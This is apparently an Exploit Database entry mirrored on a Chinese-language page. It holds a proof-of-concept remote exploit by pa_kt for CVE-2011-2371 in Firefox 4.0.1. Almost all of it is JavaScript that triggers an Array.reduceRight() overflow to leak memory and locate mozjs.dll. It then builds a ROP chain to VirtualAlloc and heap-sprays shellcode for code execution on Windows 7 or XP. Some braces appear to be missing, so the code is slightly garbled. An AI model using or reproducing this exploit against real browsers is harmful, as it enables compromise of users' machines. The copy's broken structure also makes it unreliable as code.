Mozilla Firefox 4.0.1 – ‘Array.reduceRight()’ Remote Overflow

Exploit Database
101 阅读

作者： pa_kt

日期： 2012-02-27
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18531/

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<!--

Full Exploit Code: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18531.zip

PoC exploit for CVE-2011-2371

tested against Firefox 4.0.1

md5 of mozjs.dll: 5d7ffcc9deb5bb08417ceae51d2afed4

change constants to switch between w7/xp.

see my blog if you want to know how this works.

http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/

p_k

twitter.com/pa_kt

gdtr.wordpress.com

-->

<html>

function hex(x){

var y = x.toString(16);

y = "0x"+y;

return y;

}

function itoa(i)

{

return String.fromCharCode(i);

}

// n - length in bytes (1 unicode char = 2 bytes)

function puff(x, n){

while(x.length < n) x += x;

return x.substring(0,n);

}

function arr2hex(tab){

var s = "";

for(var i in tab){

x = tab[i];

x = x.toString(16);

if(x.length<2)

x = "0"+x;

s += x + " ";

}

return s;

}

function arr2ascii(tab){

var s = ""

for(var i in tab){

x = tab[i];

if(0x20 <= x && x<=0x7f){

y = itoa(x);

}

else{

y = ".";

}

s += y;

}

return s;

}

function xchg(d,i,j){

t = d[i];

d[i] = d[j];

d[j] = t;

}

function bswap(d){

xchg(d, 0, 3);

xchg(d, 1, 2);

}

function nicer(tab){

jsp = new JSPack();

res = [];

for(var i in tab){

x = tab[i];

t = jsp.Pack("d", [x]);

d1 = t.slice(0, 4);

d2 = t.slice(4, 8);

bswap(d1);

bswap(d2);

t = [d1,d2];

res = res.concat(t);

}

res = res.reverse();

return res;

}

function dw2int(d){

n = 0;

for(var i=0;i<4;i++){

n *= 256;

n += d[3-i];

}

return n;

}

function convert(tab){

o = s = v = "";

for(var i in tab){

d = tab[i];

s += arr2hex(d);

v += arr2ascii(d);

if((parseInt(i)+1)%4==0){

o += s + " | " + v + "\n";

s = "";

v = "";

}

return o;

}

function check_pair(d1, d2){

var n1 = dw2int(d1);

var n2 = dw2int(d2);

if(n2-n1 == 0x304)

return true;

return false;

}

function find_mozjs_base(tab){

var n1 = 0;

for(var i=0;i<tab.length-4;i++){

d1 = tab[i];

d2 = tab[i+1];

if(check_pair(d1,d2)){

n1 = dw2int(d1);

n1 = n1 - 0x3cac; //n1 = mozjs .data

n1 = n1 - 0x1B2000; //n1 = mozjs base

break;

}

return n1;

}

function d2u(dword){

var uni = String.fromCharCode(dword & 0xFFFF);

uni += String.fromCharCode(dword>>16);

return uni;

}

function odd_d2u(d1, d2){

uni = String.fromCharCode((d1&0xFF)<<8);

uni += String.fromCharCode((d1>>8)&0xFFFF);

uni += String.fromCharCode((d1>>24)+((d2 & 0xFF)<<8)); //1+1<<8 == 512 in JS T_T

uni += String.fromCharCode((d2>>8)&0xFFFF);

uni += String.fromCharCode(d2>>24);

return uni;

}

// generated with mona.py

function rop_chain(mozjs_base){

var arr = [

mozjs_base + 0x000c96e6, // POP EAX // RETN [mozjs.dll]

mozjs_base + 0x0015d054, // ptr to &VirtualAlloc() [IAT mozjs.dll]

mozjs_base + 0x00028510, // MOV EAX,DWORD PTR DS:[EAX] // RETN [mozjs.dll]

mozjs_base + 0x0014293c, // XCHG EAX,ESI // RETN [mozjs.dll]

mozjs_base + 0x0014d00d, // POP EBP // RETN [mozjs.dll]

mozjs_base + 0x000d7ee2, // & push esp //ret 04 [mozjs.dll]

mozjs_base + 0x000be327, // POP EBX // RETN [mozjs.dll]

0x00000001, // 0x00000001-> ebx

mozjs_base + 0x0004f422, // POP EDX // RETN [mozjs.dll]

0x00001000, // 0x00001000-> edx

mozjs_base + 0x000b1421, // POP ECX // RETN [mozjs.dll]

0x00000040, // 0x00000040-> ecx

mozjs_base + 0x000062e3, // POP EDI // RETN [mozjs.dll]

mozjs_base + 0x0000f005, // RETN (ROP NOP) [mozjs.dll]

mozjs_base + 0x000652f0, // POP EAX // RETN [mozjs.dll]

0x90909090, // nop

mozjs_base + 0x001372bd // PUSHAD // RETN [mozjs.dll]

];

return arr;

}

function tab2uni(tab){

var uni = ""

for(var i=0;i<tab.length;i++){

uni += d2u(tab[i]);

}

return uni;

}

function spray(mozjs_base, h1_s, hsize) {

function rva2va(addr) { return addr+mozjs_base; }

function rva2d(addr) { return d2u(rva2va(addr)); }

var align = 0x100000;

var tab_offset = 0x1000;

var TYPE_OBJECT = "%u0007%uffff";

var pivot_rva = 0x1a21c;// 0x68e7a21c :# ADD EBP,EBX # PUSH DS # POP EDI # POP ESI # POP EBX # MOV ESP,EBP # POP EBP # RETN

var mov_esp_ebp_rva = 0x1a222; // mov esp, ebp # pop ebp # ret

var h2_s = h1_s + hsize;

var h2_middle = (h2_s + hsize/2) & (~(align-1)); //align

//mov eax,dword ptr [edi+64h] ;edi=[h2_ptr+4], later: call eax

var h2_ptr = h2_middle + tab_offset;

var off1 = h2_ptr;

var off2 = h2_ptr-0x64;

var v1 = d2u(off1);

var h1_fill = unescape(v1+TYPE_OBJECT);

var foo = puff(h1_fill, 0x4000);

var h1_spray = foo.substring(0,(0x4000/2)-2);

var pivot_va = rva2va(pivot_rva);

pivot_va = d2u(pivot_va);

off2 = d2u(off2);

var new_ebp = h2_ptr+18;

var mov_esp_ebp_va = rva2va(mov_esp_ebp_rva);

var set_esp = odd_d2u(new_ebp, mov_esp_ebp_va);

var rop = tab2uni(rop_chain(mozjs_base));

//shellcode by skylined

var msgbox_shellcode = "%uf631%u6456%u768b%u8b30%u0c76%u768b%u8b1c%u086e%u368b%u5d8b%u8b3c%u1d5c%u0178%u8beb%u184b%ue367%u8bec%u207b%uef01%u7c8b%ufc8f%uef01%uc031%u3299%u6617%ucac1%uae01%uf775%u8166%u2afa%u74b6%u6609%ufa81%u1aaa%udbe0%uc575%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u8597%u74f6%u6812%u3233%u2020%u7568%u6573%u5472%ud5ff%u3195%uebf6%u56a3%u3168%u0021%u6800%u322d%u3733%u3268%u3130%u6831%u7663%u2d65%u8754%u2404%u5050%uff56%uccd5";

var x = unescape(pivot_va+off2+set_esp+"%u1111%u2222"+rop+msgbox_shellcode);

x = puff(x, 0x4000);

var h2_spray = x.substring(0,(0x4000/2)-2);

var spray_tab = new Array();

for (i=0;i<0x1000;i++){

spray_tab[i] = h1_spray+"1";

spray_tab[i].indexOf("zzz");

}

for (i=0x1000;i<0x2000;i++){

spray_tab[i] = h2_spray+"2";

spray_tab[i].indexOf("zzz");

}

var exploit_func =

function bleh(prev, current, index, array) {

//boom = typeof current;

current[4] = 1; // add ebp, ebx, where ebx=2*4+1=9

//throw "up";

}

function trigger(func, arr_len){

xyz.length = arr_len;

try{

xyz.reduceRight(func,1,2,3);

}

catch(e){ }

}

function leak(){

var CHUNK_SIZE = 0x1000;

var leak_arr_len = 0xffffffff;

mem = [];

count = 0;

var leak_func =

function bleh(prev, current, index, array) {

if(typeof current == "number"){

mem.push(current);

}

count += 1;

if(count>=CHUNK_SIZE/8){

throw "lol";

}

function dump_mem(leak_f, arr_len){

var dump = document.getElementById("dump");

var mozjs_base = 0;

for(var i=0;;i++){

mem = [];

count = 0;

trigger(leak_f, arr_len);

mem = nicer(mem);

s = convert(mem);

dump.innerHTML = s;

//alert("leaked bytes: "+hex(mem.length*4));

mozjs_base = find_mozjs_base(mem);

//alert("mozjs base: "+hex(mozjs_base));

if(mozjs_base != 0){

break;

}

return mozjs_base;

}

var base = dump_mem(leak_func, leak_arr_len);

return base;

}

function go(){

//var arr_ptr = 0x05000000; //(xp sp3)

//var h1_s = 0x05b00000;

//var h2_e = 0x0fb00000;

var arr_ptr = 0x0b000000; //w7

var h1_s = 0x0b500000;

var h2_e = 0x16e00000;

var size = h2_e-h1_s;

var hsize = size/2;

var h1_middle = h1_s+hsize/2;

var exp_arr_len = (h1_middle - arr_ptr)/8 + 0x80000000;

var mozjs_base = leak();

spray(mozjs_base, h1_s, hsize);

alert("ready");

while(1){

trigger(exploit_func, exp_arr_len);

exp_arr_len -= 0x500;

}

// globals

var xyz = new Array();

</script>

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